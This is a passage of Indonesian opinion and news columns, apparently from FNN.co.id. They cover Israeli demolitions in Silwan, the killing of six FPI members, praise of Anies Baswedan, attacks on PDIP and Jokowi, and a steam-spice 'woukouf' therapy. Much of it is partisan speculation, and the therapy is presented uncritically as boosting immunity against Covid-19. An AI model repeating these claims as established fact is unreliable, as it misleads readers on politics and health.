kuburan untuk orang Yahudi, di samping kuburan pagan tua yang berasal dari zaman Firaun yang disebut oleh orang Yahudi “Avi Shalim”. “Penyerbuan dan aksi-aksi perataan tanah yang terjadi di Wadi Rababa merupakan bagian dari kelanjutan yang terjadi di daerah Al Bustan di Silwan tentang surat-surat pemberitahuan penghancuran rumah dan mengosongkan daerah tersebut,” ujar Al-Hidmi. Ia mengingatkan, 80 rumah yang oleh pihak penjajah Israel telah diberi surat pemberitahuan penghancuran, dengan dalih bahwa rumah-rumah itu merupakan bangunan yang dibangun di atas tanah yang kepemilikannya tidak jelas. “Atau dibangun tanpa memperoleh izin yang semestinya di wilayah itu,” lanjutnya. Kampung Wadi Rababa adalah wilayah yang tersisa bagi masyarakat Silwan untuk membangun rumah dan sekolah serta membuat taman pribadi. Tapi otoritas pendudukan penjajah Israel menolak untuk mengeluarkan izin untuk itu. Mereka mengejar dan memburu warga ketika membangun atau memperluas atau bahkan mengolah tanah dan membangun pagar. Rencana Yahudisasi Hanna Issa, Sekretaris Jenderal Organisasi Islam-Kristen, mengatakan bahwa kampung Wadi Rababa adalah bagian integral dari Tanah Suci Kota al-Quds selain lembah-lembah lainnya. Dalam pernyataan khusus kepada Pusat Informasi Palestina, Issa menyatakan, penjajah Israel sekarang berencana mendirikan apa yang disebut “Yerusalem Raya” di atas lahan seluas 600 kilometer persegi. “Dengan tujuan untuk melakukan yahudisasi kota itu, menciptakan karakter Yahudi baru, dan membangun “Yerusalem Raya” yang mirip dengan ibu kota Inggris, London,” kata Issa. Menurut Issa, penjajah Israel telah memulai rencananya di Wadi Al-Jauz, Wadi Rababa, dan kampung-kampung lainnya di al-Quds. Ia menyatakan bahwa penjajah Israel mengerahkan semua tekanan pada penduduk Silwan. Dan, sedang mengerjakan pembongkaran besar-besaran untuk mengosongkan daerah tersebut dari warganya, meratakan wilayah dan memperluas permukiman-permukiman Yahudi, serta mendirikan kampung-kampung permukiman Yahudi yang sejalan dengan “Yerusalem Raya”. “Kita, sebagai orang Palestina, harus memikirkan, bagaimana mengubah aturan konfrontasi dengan penjajah Israel dengan asas-asas baru. Harus ada pemikiran baru, perjuangan baru dan persatuan nasional berdasarkan fondasi yang kuat dan upaya kolektif semua orang Palestina.” Bagaimana masa depan Palestina pasca terpilihnya Presiden AS yang baru, Joe Biden? Calon Menlu yang akan dipilih Biden, Antony Blinken, berjanji akan tetap melanjutkan pengakuan AS atas Al-Quds sebagai ibukota Israel, dan melanjutkan keberadaan Kedubes AS di sana. Situs Rusia Today menyebut, dalam pertemuan di hadapan kongres AS, Blinken menjawab “Ya” dua kali, saat ditanya senator James Rish, “Apakah Anda setuju bahwa Al-Quds ibukota Israel? Dan, apakah Anda komitmen mempertahankan kedubes Amerika di Al-Quds?” Dalam pertemuan tersebut, Blinken memaparkan dukungannya terhadap solusi 2 negara, dan perundingan damai antara Palestina – Israel menjadi tantangan besar, yang sulit mencapai kemajuan dalam waktu dekat ini. Sebelumnya, AS di bawah kepemimpinan Donald Trump sangat gencar mendukung semua kebijakan Israel, termasuk mendukung Al-Quds sebagai ibukota Israel dan memindahkan kedutaan besarnya kesana. Selain itu, Trump menggagas proposal perdamaian yang dikenal dengan Deal of Century, yang menguntungkan Israel dan mempersempit Palestina. Termasuk mendukung rencana aneksasi Israel terhadap wilayah Tepi Barat. Pihak Italia pada Selasa kemarin menyampaikan keresahannya atas keputusan pemerintah Israel membangun 800 unit hunian di komplek permukiman Yahudi di Tepi Barat, karena melanggar Undang-Undang Internasional dan menggagalkan peluang solusi berdirinya dua negara. Kementerian Luar Negeri Italia mengatakan, pihak Italia berkali-kali telah mengungkapkan kekhawatiran dan kekecawaannya atas keputusan Israel membangun 800 unit hunian baru di permukiman Yahudi di Tepi Barat. Kemenlu Italia menambahkan, pihaknya kembali meminta seperti yang sudah disampaikan pada 17 November 2020 lalu kepada Israel untuk mengkaji ulang keputusan tersebut. Penulis adalah Wartawan Senior FNN.co.id.

Amien Rais Cs Minta Pertanggungjawaban Jokowi atas Pembunuhan Enam Warga Sipil

by Tjahya Gunawan Jakarta, FNN - Pengungkapan terhadap kasus pembunuhan keji yang dilakukan aparat kepolisian terhadap enam laskar Front Pembela Islam (FPI) memasuki babak baru. Tokoh reformasi Amien Rais bersama 17 tokoh masyarakat lainnya membentuk Tim Pengawal Peristiwa Pembunuhan (TP3) Enam Laskar FPI di Jakarta, Kamis (21/1/2021). Pembentukan TP3 Enam Laskar FPI diumumkan lewat siaran langsung melalui akun YouTube Refly Harun dari sebuah hotel di Kawasan Senayan Jakarta. Undangan acara tersebut bersifat terbatas karena masih berada dalam situasi pandemi Covid19. Dalam undangan kepada para wartawan, Ketua TP3, Abdullah Hehamahua, sehari sebelumnya meminta agar undangan ini tidak di share ke manapun. Jurnalis yang akan hadir diwajibkan untuk memberi konfirmasi pada panitia. Sesaat sebelum acara jumpa pers diadakan, sejumlah personel polisi mendatangi lokasi kegiatan. Wakapolres Metro Jakarta Pusat AKBP Setyo Koes Heriyanto memimpin jajarannya melakukan penyisiran. Setyo sempat bertemu dengan salah satu panitia acara Marwan Batubara guna menanyakan apa maksud tujuan mereka menggelar acara tersebut. Marwan menjawab, pihaknya sudah diberikan izin oleh pihak hotel untuk menggelar acara tersebut. Menurutnya, beberapa waktu lalu dirinya juga menggelar serupa, tetapi tidak sampai didatangi oleh pihak kepolisian. Amien Rais menjelaskan, TP3 enam laskar FPI, akan melakukan advokasi hukum dan HAM berkelanjutan agar kasus pembunuhan enam warga sipil terungkap jelas dan pelakunya diadili sesuai hukum yang berlaku. TP3 melakukan langkah-langkah advokasi setelah mengamati secara cermat sikap, kebijakan dan penanganan kasus oleh pemerintah dan Komnas HAM, yang mereka nilai jauh dari harapan dan justru cenderung berlawanan dengan kondisi objektif dan fakta-fakta di lapangan. Dari kompilasi infomasi yang dilakukan, TP3 menemukan fakta bahwa laskar FPI tidak memiliki senjata, tidak pernah melakukan penyerangan dan dengan demikian tidak mungkin terjadi baku tembak. TP3 meyakini yang terjadi adalah pembunuhan dan pembantaian yang patut diduga telah direncanakan sebelumnya. Sebaliknya, TP3 menilai, apa pun alasannya, tindakan aparat polisi tersebut sudah melampaui batas dan di luar kewenangan menggunakan cara-cara kekerasan di luar prosedur hukum dan keadilan alias extrajudicial killing. Tindakan brutal aparat polisi ini, kata Amien Rais, merupakan bentuk penghinaan terhadap proses hukum dan pengingkaran atas azas praduga tidak bersalah dalam pencarian keadilan, sehingga bertentangan dengan Pancasila, Undang-Undang Dasar Republik Indonesia tahun 1945 dan peraturan yang berlaku. Karena itu TP3 mengutuk dan mengecam keras para pelaku pembunuhan, termasuk atasan dan pihak-pihak terkait. TP3 menuntut pelakunya diproses hukum secara adil dan transparan. Sebagai pemimpin pemerintahan, TP3 meminta pertanggungjawaban Presiden Jokowi atas tindakan sewenang-wenang dalam kasus pembunuhan tersebut. Penyerangan sistematik TP3 menyatakan, penembakan enam laskar FPI oleh aparat negara tidak sekadar pembunuhan biasa dan dikategorikan sebagai pelanggaran HAM biasa, sebagaimana yang dinyatakan oleh Komnas HAM. "Kami dari TP3 dengan ini menyatakan bahwa tindakan aparat negara yang diduga melakukan pengintaian, penggalangan opini, penyerangan sistemik, penganiayaan, dan penghilangan paksa sebagian barang bukti merupakan kejahatan kemanusiaan, sehingga dikategorikan sebagai Pelanggaran HAM Berat dalam bentuk Kejahatan terhadap Kemanusiaan (Crime Against Humanity)," demikian pernyataan sikap mereka. Pembunuhan 6 (enam) laskar FPI merupakan pelanggaran terhadap Statuta Roma dan Convention against Torture and Other Cruel, Inhuman or Degrading Treatment or Punishment yang telah diratifikasi melalui Undang Undang Nomor 5 tahun 1998. Oleh karena itu, proses hukumnya harus dilakukan melalui Pengadilan HAM sesuai Undang-Undang Nomor 26 tahun 2000. TP3 menilai penyerangan sistematis terhadap warga sipil enam Laskar FPI merupakan tindakan tidak manusiawi yang dengan sengaja menyebabkan penderitaan berat atau luka berat pada tubuh atau untuk kesehatan mental atau fisik. Sampai saat ini, Negara Republik Indonesia belum memberikan pertanggungjawaban publik atas peristiwa pembunuhan enam Laskar FPI dan tidak menyampaikan permintaan maaf atau belasungkawa kepada keluarga mereka. Bagi TP3, ini adalah satu pengingkaran terhadap hak-hak korban dan keluarganya yang semestinya dijamin oleh negara seperti terkandung dalam UU No. 13 tahun 2006 jo UU No. 31 tahun 2014 tentang Perlindungan Saksi dan Korban. Adapun anggota TP3 antara lain Dr. Busyro Muqoddas, KH. Dr. Muhyidin Djunaedi, Dr. Marwan Batubara, Prof. Dr. Firdaus Syam, Dr. Abdul Chair Ramadhan dan Hj. Neno Warisman. ** Penulis adalah wartawan senior FNN.co.id.

Kejar Aktor Pelanggaran Ham Berat di KM 50 Tol Japek

by M Rizal Fadillah Bandung FNN – Komisi Nasional Hak Asasi Manusia (Komnas HAM) menuai kecaman. Karena Komnas HAM dianggap tidak mampu untuk menuntaskan tugas penyelidikan dengan baik, berkaitan dengan pembunuhan yang dilakukan anggota Polda Metro Jaya terhadap 6 anggota Laskar Front Pembela Islam (FPI) di kilometer 50 to Jakarta Cikampek (Japek). Terlalu banyak pertanyaan yang menyertai pengumuman hasil penyelidikan Komnas HAM. Misalnya, benarkah terjadi tembak-menembak? Dimana sebenarnya dua orang anggota Laskar FPI tewas itu ditembak? Siapa penembak dua dan empat anggota Laskar FPI itu? Benarkah dua anggota Laskar FPI telah ditembah oleh anggota Polda Metro Jaya seperti yang diakui oleh Kapolda Metero Jaya? Bagaimana menjelaskan dugaan adanya bekas luka siksaan pada tubuh korban? Lalu siapa saja penumpang-penumpang yang ada di dalam dua mobil Avanza sebagai pembuntut misterius, yang bukan dari polisi Polda Metro Jaya? Sebab dua mobil Avanza tersebut membuntuti rombongan keluarga Habib Rizieq Shuhab sejaka dari Santul. Apakah penumpang-penumpang di kedua mobil tersebut yang terlibat baku tembak, sehingga mengakibatkan dua anggota Laskar FPI meninggal? Lalu siapa "sang komendan" yang ada di dalam mobil Landcruiser itu? Mobil Landcruiser itu milik siapa? Berapa plat nomor polisinya. Jabatannya sebagai apa? Dalam rangka apa orang yang berada di dalam mobil Landruiser itu berada di lokasi rest area kilometer 50 tol Japek. Apakah komendan yang ada di dalam mobil Landruiser itu ikut juga memberikan perintah atau arahan kepada dua mobil Avanza dan mobil-mobil dari Polda Metro Jaya? Masih banyak lagi pertanyaan lain yang mengganjal. Nyaris pekerjaan penyelidikan Komnas HAM sia-sia karena gagal menemukan fakta-fakta penting. Hasil kerja Komnas HAM sangat normatif, tak ambil risiko, dan ujung-ujungnya pro kepada Polisi. Bahkan semakin ke sini justru terkesan Komnas HAM terkesan berubah menjadi juru bicara Kepolisian. Lebih menyebalkan setelah secara kontroversial melapor ke Presiden. Tua-tuan Komnas HAM yang hebat-hebat, Presiden Indonesia itu bukan atasannya Komnas HAM. Lalu Komnas HAM juga bekerja bukan bekerja atas dasar perintah dari Presiden, sehingga hasilnya harus dilaporkan kepada Presiden. Tetapi atas perintah dari Undang-Undang Nomor 39 tahun 1999 Tentang HAM, perlindungan atas nila keadilan dan harkat serta martabat kemanusiaan Salah satu lembaga yang wajib untuk dilaporkan hasil kerja penyelidikan Komnas HAM adalah Komisi HAM Perserikatan Bangsa-Bangsa (PBB). Untuk di dalam negeri, laporan disampaikan Komisi III DPR dan Mahkamah Agung. Bukan melaporkan hasil penyelidikan kepada Presiden. Pimpinan Pusat (PP) Muhammadiyah tanggal 18 Januari 2021 telah menyatakan bahwa pekerjaan Komnas HAM tidak tuntas. Untuk itu diminta untuk Komnas HAM mendalami kembali, sehingga ditemukan aktor intelektual dari kejahatan "unlawful killing" tersebut. Kualifikasinya bukan semata pelanggaran HAM. Tetapi pelanggaran HAM berat. Presiden hendaknya mendukung pendalaman atau investigasi guna menyeret aktor intelektual hingga ke proses peradilan. Diduga kuat peristiwa pelanggaran HAM berat "Km 50 tol Japek" bukan insiden yang kebetulan semata. Karena berawal dari pengintaian dan pembuntutan yang intens terhadap HRS dan FPI. Suatu cara kerja yang tidak lazim. Bahkan berindikasi melanggar aturan hukum positif yang berlaku. Keberadaan mobil Landcruiser yang datang mengomandani"pembunuhan atau pembantaian, patut untuk ditelusuri lebih lanjut. Begitu juga dengan keberadaan surat perintah atau surat tugas dari institusi yang menugaskan penumpang yang berada di dalam mobil Landruiser tersebut. Orangnya berasal dari institusi mana. Berada di KM 50 tol Japek atas perntah siapa pimpinannya? Bisa saja aktor intelektual perbuatan aparat brutal ini adalah Kapolda Metro Jaya, bisa pula Kapolri. Bukan tidak mustahil juga Presiden Republik Indonesia. Karenanya perlu ada kejelasan dari Komnas HAM. Meski pihak Kepolisian telah membantah adanya keterlibatan atasan. Akan tetapi indikasi yang ada menuntut untuk dilakukan pengusutan lebih lanjut. PP Muhammadiyah mendesak Komnas HAM agar dapat ditemukan aktor intelektual dari kejahatan ini. Ditemukan dan lebih lanjut diproses hukum aktor intelektual pelanggaran HAM berat "Km 50 tol Japek" ini sangat penting untuk sekurangnya tiga hal. Pertama, agar tidak terbiasa mengorbankan bawahan untuk melepas tanggungjawab atasan dan kepentingan politik yang lebih luas. Kedua, menjadi terobosan atas banyaknya kasus pelanggaran HAM yang menggantung dan terus menjadi tagihan dari perilaku rezim sekarang dan rezim yang sebelum-sebelumnya. Ketiga, dapat menghindari keterlibatan lembaga penyelidikan dan peradilan HAM internasional. Dari pantauan publik dan juga laporan "sederhana" Komnas HAM, maka peristiwa pelanggaran HAM berat "Km 50 tol Japek" diduga kuat menjadi peristiwa berdisain matang dan panjang yang melibatkan satu atau lebih aktor intelektual. Karenanya desakan PP Muhammadiyah bukan saja rasional dan obyektif, tetapi juga merupakan jalan strategis bangsa untuk menghargai dan memuliakan Hak Asasi Manusia. Penulis adalah Pemerhati Politik dan Kebangsaan.

Anies Dikerjain, Kabel Listrik Bakal Diputus Lagi

by Tony Rosyid Jakarta FNN - Banjir di Kalimantan Selatan (Kalsel) salah siapa? Salah Hujan! Kalau banjir di Jakarta? Itu salah Anies. Begitulah bunyi sebuah meme yang beredar di medsos. Entah siapa yang buat, setidaknya itu ekspresi rakyat untuk mengingatkan logika yang seringkali terbalik. Ada pihak yang kerjanya menyalahkan Anies. Di otak mereka, tidak ada yang bener sedikitpun dengan Anies. Semua keliru dan salah. Mereka menganggap semua penghargaan kepada Pemerintah Provinsi (Pemprov) DKI Jakarta itu hasil kerja gubernur sebelumnya. Tetapi, semua masalah yang terjadi di DKI itu salahnya Anies. Tentu, logika ini tidak fair. Ada penghargaan, yang tentu saja ikut andil di dalamnya gubernur-gubernur sebelumnya. Ini tidak dapat disangkal. Harus ujur untuk mengakui itu. Tetapi, tak semua penghargaan dan kemajuan di Jakarta itu hasil investasi dari pemimpin terdahulu. Janganlah lebay juga! Ganjaran Wajar Tanpa Pengecualian (WTP) dari Badan Pemeriksa Keuangan (BPK). Tiga penghargaan dari Komisi Pemberantasan Korupsi (KPK). Top Digital Award 2020, Gubernur Terpopuler, penghargaan sebagai Pembina Badan Usaha Milik Daerah (BUMD) yang sukses. Pembangunan fasilitas untuk kenyamanan pejalan kaki dan pengguna sepeda, panorama kawasan Soedirman-Thamrin itu kerja Anies. Ada jua penghargaan untuk transparansi dan keterbukaan publik. Pernghargaan Jakarta Internasional Studion (JIS), pembangunan Museum Rasulullah, dan banyak lagi yang tidak terhubung sama sekali dengan gubernur-gubernur sebelumnya. Jadi, kalau bilang Anies tidak bekerja, ini bertentangan dengan banyak fakta adanya berbagai kemajuan dan penghargaan untuk Pemprov DKI Jakarta. Ruang persepsi publik kita memang sering dirusak oleh mereka yang dibayar untuk tugas itu. Orang menyebut mereka "buzzer rupiah". Operasi mereka berhasil memprovokasi kelompok-kelompok fanatik yang memang suka dengan hoak, yang diolah dengan narasi-narasi pejoratif semacam itu. Akibatnya, ruang publik kita menjadi tidak rasional. Merusak kecerdasan. Ini semua menyebabkan interaksi dan diskusi publik yang semakin tidak sehat. Kemenangan Anies di Pilgub DKI 2017 yang disusul dengan penyegelan "project raksasa ribuar triliun" bernama "reklamasi" memposisikan Anies sebagai tokoh yang seksi. Lebih seksi lagi ketika Anies punya kans cukup besar untuk maju di Pilpres 2024. Kenyataan ini membuat mereka panik, karena tidak punya lawan tanding yang sepadan di 2024 nanti. Dalam posisi ini, Anies dianggap ancaman, sekaligus harapan. Ancaman, karena tidak mudah untuk berkompromi dengan proyek-proyek ilegal. Proyek yang dianggap membahayakan eksistensi dan masa depan bangsa. Reklamasi dan Alexis adalah dua dari sekian banyak contoh bisnis yang melanggar aturan dan merugikan masan depan bangsa. Disisi lain, Anies dianggap harapan. Ditengah bangsa yang sedang terbelah, maraknya pelanggaran hukum, arogansi oligarki, demokrasi yang hampir mati, ekonomi yang mengalami resesi, Anies memiliki kapasitas yang dianggap mampu menghadapi situasi seperti itu. Anies punya latar belakang pendidikan di bidang ekonomi dan kebijakan publik. Basik ekonomi akan sangat membantu mengatasi pertumbuhan ekonomi yang minus, dan problem resesi. Basik kebijakan publik memberi modal Anies untuk memahami dan merumuskan setiap persoalan bangsa. Track record Anies yang selalu mengedepankan pola persuasi. Selalu merangkul bukan memukul. Komitmen Anies soal hukum dan pemberantasan korupsi dengan berdirinya lembaga semacam KPK di DKI. Kematangan Anies terlihat dalam merespon setiap kritik, bahkan lawan politik. Ketegasan Anies dalam menghadapi mafia kapitalistik, dan kemampuannya membuat terobosan-terobosan program yang tak biasa. Itubisa dinilai secara obyektif oleh publik sebagai harapan buat Indonesia. Ini tidak berlebihan, karena ada data dan fakta yang bisa dibaca publik setiap saat. Sebagai harapan, Anies mendapatkan banyak dukungan dari publik. Hal ini bisa dilihat dari antusiasme publik ketika membicarakan Anies di media sosial. Sayang, jika satu dari 20 tokoh yang dianggap oleh Majalah FORESIGHT Jepang mampu memberi arah perubahan dunia ini tidak diberi ruang untuk membangun Indonesia ke depan. Namun, sejumlah pihak yang menganggap Anies sebagai ancaman masa depan politik dan bisnis, mereka secara konsisten dan sistematis terus melakukan berbagai hal untuk menjegal Anies. Tidak semua publik tahu upaya-upaya yang dilakukan mereka untuk menjegal Anies. Sebagian terpublis, tapi sebagian dilakukan di belakang kamera. Operasi yang kasar diliput media, operasi khusus lebih halus. Terakhir, tapi mungkin bukan yang paling akhir, sejumlah kabel pompa air di Jakarta dipotong. Ada juga yang dicuri. Oleh siapa? Pasti jawabnya adalah "orang tak dikenal". Padahal ini bukan aksi pengrusakan dan pencurian biasa, tapi sabotase! Setiap Januari-pebruari, Jakarta berhadapan dengan curah hujan yang lebat. Pompa air menjadi andalan untuk memperpendek durasi banjir. Jika dirusak aliran listriknya, ini akan menyebabkan pompa nggak jalan dan banjir nggak terkendali. Disinilah Anies, lagi-lagi, akan disalahkan dan menjadi bulan-bulanan media. Tujuan mereka satu “Anies dipersepsi gagal memimpin Jakarta”. Dengan begitu, nggak layak nyapres. Banjir seringkali dijadikan indikator yang paling berpengaruh. Isunya paling seksi. Khusus Jakarta. Tidak hanya di Kalsel, tidak juga di daerah lain. Bagimana jika segala upaya penjegalan gagal, dan Anies tetap melaju ke pilpres 2024? Ingat, mafia kapitalis dan elit politik adalah orang-orang yang rasional dan sangat pragmatis. Jika Anies tak juga bisa dijegal, tetap melaju ke pilpres 2024, maka mereka akan merubah strategi, yaitu kompromi. Demi menjaga posisi politik dan keamanan bisnis mereka. Mereka cukup piawai dan berpengalaman untuk melakukan penyesuaian-penyusaian. Layaknya sutradara, sekaligus pemain drama. Begitulah panggung politik, ada intrik, kalau gagal, ya kompromi. Rakyat berharap, apapun judul dan sekenario drama yang sedang dan akan ditawarkan, Anies harus tetap konsisten memperjuangan kepentingan bangsa dan negara dalam artikulasi yang sesungguhnya. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

PDIP Baru Tahu Enaknya Menjadi Penindas

RATA-RATA, orang-orang PDIP hanya berkomentar normatif tentang pembunuhan 6 anggota FPI dan tentang pembubaran FPI. Tidak ada kritik terhadap pemerintah maupun Polri. Kritik manis saja pun tidak ada, apalagi kritik pedas. Anggota DPR dari PDIP, I Wayan Sudiarta, malah memuji tindakan polisi. Dia mengatakan, langkah melindungi diri oleh Polisi dengan menembak 6 pemuda FPI, sudah benar. Meskipun dia meminta agar pembunuhan itu diusut lebih dalam, tapi Sudiarta cenderung senang dengan tindakan Polisi menembak mati anggota FPI tsb. Kolega Sudiarta, yaitu Arteria Dahlan, juga ikut setuju ‘tindakan tegas’ terhadap FPI dan Habib Rizieq Syihab (HRS). Arteria mengatakan, ada kesan HRS tidak patuh hukum. Pada 11/12/2020, Arteria mengatakan HRS pantas menjadi tersangka pidana kerumunan Covid. Namun, pada 11/01/2029 politisi PDIP ini menyatakan ikut berduka terhadap kematian 6 anggota FPI. Hanya Tuhan yang tahu apakah itu benar dukacita atau ‘duka citra’. Setelah itu, politisi PDIP lainnya yang juga ketua Komisi III DPR, Herman Herry, menyatakan dukungan terhadap tindakan pemerintah membubarkan FPI. Kemudian, puncak sikap PDIP keluar dari mulut Ketum Megawati Soekarnoputri. Bu Mega menyerahkan sepenuhnya masalah FPI kepada pemerintah. Dari komentar Bu Mega ini dan dari berbagai komentar para politisi PDIP di atas, bisa disimpulkan bahwa Partai Banteng tidak begitu peduli ada atau tidak pelanggaran HAM berat maupun ringan terhadap anggota FPI. Mau ditembak atau dibunuh dengan sadis, PDIP tak ambil pusing. Ada atau tidak kriminalisasi terhadap para ulama, biarkan saja. Bukan urusan. Mengapa PDIP bersikap seperti itu? Ringkas saja jawabannya. Karena mereka tampaknya ikut menikmati penindasan yang dilakukan oleh para penguasa sekarang ini. Khususnya sejak “petugas partai” mereka mengemudikan pemerintahan. Mereka senang bisa menjadi bagian dari penindasan itu. Persis sama seperti pengalaman Golkar yang sangat menikmati penindasan yang dilakukan para penguasa Orde Baru, dulu. Waktu itu, Golkar menjadi pendukung setia sekaligus stempel penguasa. Dan yang ditindas pada masa itu termasuklah PDIP sendiri. Hari ini, PDIP adalah pendukung setia penguasa. Sekaligus pendukung terkuat. Seharusnya Bu Megawati dan PDIP menentang kesewenangan. Mereka memiliki kuasa besar untuk mencegah itu. Dan mereka sudah merasakan sakitnya di bawah penindasan. Sangat antagonistik. Sudah mengalami dan paham betul penderitaan di bawah kekuasaan otoriter Orba, tapi PDIP seperti lupa semuanya. Bahasa tubuh Bu Mega dan PDIP menunjukkan mereka tidak berkeberatan dengan cara sewenang-wenang yang dipraktikkan penguasa hari ini. Sulit dipahami mengapa blok politik terkuat menjadi begitu. Wallahu a’lam. Bisa jadi sekarang ini orang-orang PDIP baru tahu betapa enaknya menjadi penindas. Seperti kenikmatan Golkar menindas rakyat di era Orba. Mereka bisa melakukan apa saja. Bisa mengatur semua yang diinginkan. Apa indikasi lain yang menunjukkan PDIP menikmati kekuasaan sewenang-wenang? Sangat mudah melihatnya. Indikasi itu adalah kekompakan Partai Banteng dengan Golkar. Kedua blok politik ini terlihat akrab dan saling memahami. PDIP sudah merasa seperti Beringin di masa lalu. Sedangkan Golkar tampaknya memahami bahwa saat ini wajar saja PDIP mendapatkan kesempatan menindas. Sekarang mereka berkoalisi. Golkar membiarkan saja apa yang dilakukan oleh PDIP. Mereka seakan saling lirik. Yang satu mengatakan, “Sekarang giliran kami ya, Mas.” Sementara yang satu lagi menjawab, “Silakan, Mbak. Tidak masalah.” PDIP tak pernah lagi melihat Golkar sebagai musuh yang pernah menjadi mesin politik yang mendukung penindasan Orba. Banteng sudah berdamai dengan Beringin. Seakan sudah ada “memorandum of understanding” (MoU) antara mereka. Yaitu, pakta saling pengertian yang menjadi dasar agar Golkar memahami giliran PDIP yang menjadi mesin pendukung penindasan yang dilakukan penguasa. Sekarang, ke mana-mana bergandengan tangan dengan Golkar. Sama-sama mendukung tindakan sewenang-wenang pemerintah Jokowi. PDIP kelihatannya terinspirasi oleh riwayat Golkar sebagai partai penindas. Dengan mendukung penguasa otoriter, PDIP bisa mendapatkan akses ke sumber-sumber yang mereka perlukan. Jadi, itulah ‘berkah’ memberikan dukungan penuh kepada penguasa yang mempraktikkan penindasan. Itulah dulu yang diperankan Golkar. Sekarang PDIP sedang menikmati itu.[]

Orkestra Jokowi Makin Sumbang dan Getir

by Jarot Espe Surabaya, FNN - JIKA seni merupakan ekspresi manusia menyikapi hidup, pada bagian mana Presiden Jokowi bertindak solutif lewat gerakan baton atau tongkat dirijen? Selama dua periode, Jokowi memimpin orkestra di panggung besar. Negara di khatulistiwa. Baton berwarna putih bergerak naik turun di tangan sang konduktor. Jokowi menulis sendiri partiturnya, dan para menteri tinggal membaca dan memainkan alat musik yang dipegang. Jokowi adalah konduktor di panggung politik. Sangat berbeda dengan konduktor sekaliber Ludwig Van Beethoven. Masa hidup Beethoven, tahun 1770 hingga 1827, sarat dengan penciptaan karya klasik. Dalam kondisi pendengaran kian berkurang, ia menyelesaikan simphony 5 yang mempengaruhi musik klasik abad modern. Simphony 5 bukan menggambarkan kondisi saat itu, melainkan luapan perasaan Beethoven. Dari gelap, terbitlah terang. Umat Muslim lebih mengenal dalam firman Allah, di balik kesulitan, ada kemudahan. Beethoven memang terlahir sebagai seniman, komposer kelas wahid yang menomor satukan harmonisasi suara. Begitu banyak musisi serta alat musik yang dihadirkan, justru menimbulkan musik yang enak di telinga. Ia membuktikan bahwa musik instrumental tak bisa lagi dianggap kelas dua. Adapun Jokowi merupakan politikus, meski tidak memiliki partai sendiri. Justru inilah kelebihan Jokowi yang mampu merangkul sekaligus menaklukkan lawan politiknya dalam satu keranjang. Jokowi terampil memanfaatkan potensi potensi di muka bumi, dipadukan dengan keberanian dalam mengumbar janji. Baginya lain urusan, jika di kemudian hari, tidak terealisasi. Orkestra Jokowi tidak perlu harmonisasi. Bahkan, bagi sebagian orang terasa menyayat. Tapi musik harus terus dilanjutkan, tidak mungkin berhenti di tengah jalan, ataupun dihentikan oleh mereka yang berada di luar panggung. Sejak awal, konduktor telah memastikan, show must go on. Adakalanya, penonton yang bersesakan di dunia maya, memberi applaus, saat Jokowi menghadirkan bintang tamu bersuara tenor diajak tampil di panggung. Sempat terdengar suara fals, tapi sejurus kemudian tertutup oleh permainan solo seorang personelnya. Pentas orkestra ditutup sementara, dan berganti ke lembaran partitur berikutnya. Dan pada bagian inilah, Jokowi pentas di panggung kehidupan yang sesungguhnya. Suara sumbang sudah terdengar beberapa saat setelah kalimantan selatan terendam banjir. Kemana Jokowi menggerakkan tongkat dirijen? Ia menginstruksikan pengiriman perahu boat. Sang konduktor tampaknya terbiasa memainkan tempo ceria. Ia lupa audiens yang dihadapi kali ini berbeda dari yang sebelumnya. Cibiran pun menggema menyesaki sudut sudut panggung. Orkestra berbalut pilu juga terdengar di mamuju Sulawesi Barat. Massa menjarah bantuan korban gempa bumi yang tersimpan di rumah dinas wakil bupati mamuju. Dalam video yang viral di media sosial, terdengar teriakan agar pemerintah segera mengirimkan bantuan dan aparat keamanan. Penjarahan bantuan pangan semasa pandemi, apalagi di lokasi bencana, merupakan potret buram simponi kehidupan. Apakah ini indikasi tumpulnya kepekaan sosial masyarakat Indonesia yang dulu termasyur hidup gotong royong? Telunjuk kesalahan diarahkan pada kelambanan dalam pendistribusian bantuan. Aksi memprihatinkan di lokasi bencana hanyalah puncak gunung es persoalan besar yang dihadapi sang konduktor. Kasus korupsi bansos oleh kader PDI Perjuangan, tidak hanya melibatkan mantan menteri sosial Juliari batubara. Rekan separtainya, yang menjabat Ketua Komisi VIII DPR Ihsan Yunus, ternyata salah satu rekanan penyedia bansos yang mendapat kuota 'jumbo' dengan jumlah 1,23 juta paket sembako. Korupsi adalah kejahatan sistematis. Terencana. Merusak tatanan kehidupan masyarakat. Disharmonisasi. Rakyat miskin tambah sengsara karena jatah bantuan diembat politisi partai politik pimpinan megawati soekarnoputri. Dan rakyat wajib menuntut ganti rugi karena disuguhi pentas menjijikkan harkat manusia. Dalam batas ini, tongkat dirijen di tangan Jokowi terasa melompat lompat tidak terkendali. Betapa tidak, ada pemain musiknya yang mengeluarkan suara minor. Saya pun bergegas membatalkan keinginan bermimpi agar Jokowi mengikuti jejak Beerthoven, yang masuk dalam daftar 100 tokoh yang paling berpengaruh dalam sejarah. Penulis adalah Pemerhati Seni dan Budaya.

Hadapi Covid Melalui Terapi Woukouf dari Papua

by Tjahya Gunawan BEKASI, FNN - Masa pandemi Covid-19 yang belum menunjukkan tanda-tanda kapan berakhir mendorong masyarakat berupaya meningkatkan imunitas. Salah satu cara yang diyakini dapat meningkatkan imunitas adalah dengan terapi woukouf. Terapi ini diperkenalkan oleh Uztaz Fadlan Rabbani Garamatan, pendakwah asal Papua. Menurut pria yang dijuluki “Ustaz Sabun Mandi” ini, terapi woukouf sudah dikenal di tanah Papua sejak abad 12. “Terapi ini, terapi raja-raja Papua abad 12. Sampai sekarang masih dilakukan,” kata Fadlan, di Pesantren Nuu Waar Al Fatih Kaaffah Nusantara (AFKN), Setu, Kabupaten Bekasi, Jawa Barat, Selasa (19/1/2021). Secara makna, jelas Fadlan, woukouf berarti memanaskan tubuh dengan uap panas yang diramu dengan rebusan 75 macam rempah yang didatangkan dari Papua. Penguapan dilakukan di bilik-bilik bambu yang sudah disiapkan beberapa kursi. Praktik terapi woukouf dilakukan di Pesantren Nuu Waar AFKN setiap Sabtu dan Ahad pagi. Jika peserta membludak, akan ditambah dengan hari Selasa dan Rabu. Fadlan mengaku, masyarakat sangat antusias untuk mengikuti terapi woukouf. Seperti yang terjadi pada Selasa (19/1/2021) pagi. Meski awan mendung melingkupi wilayah Bekasi, namun tak menyurutkan langkah masyarakat untuk terapi woukouf. Sekitar 30 orang terlihat duduk dan antri di sebuah aula Pesantren Nuu Waar AFKN. Mereka berasal dari berbagai profesi, antara lain pekerja media, purnawirawan TNI, ustaz, dan tokoh masyarakat. Salah satu yang 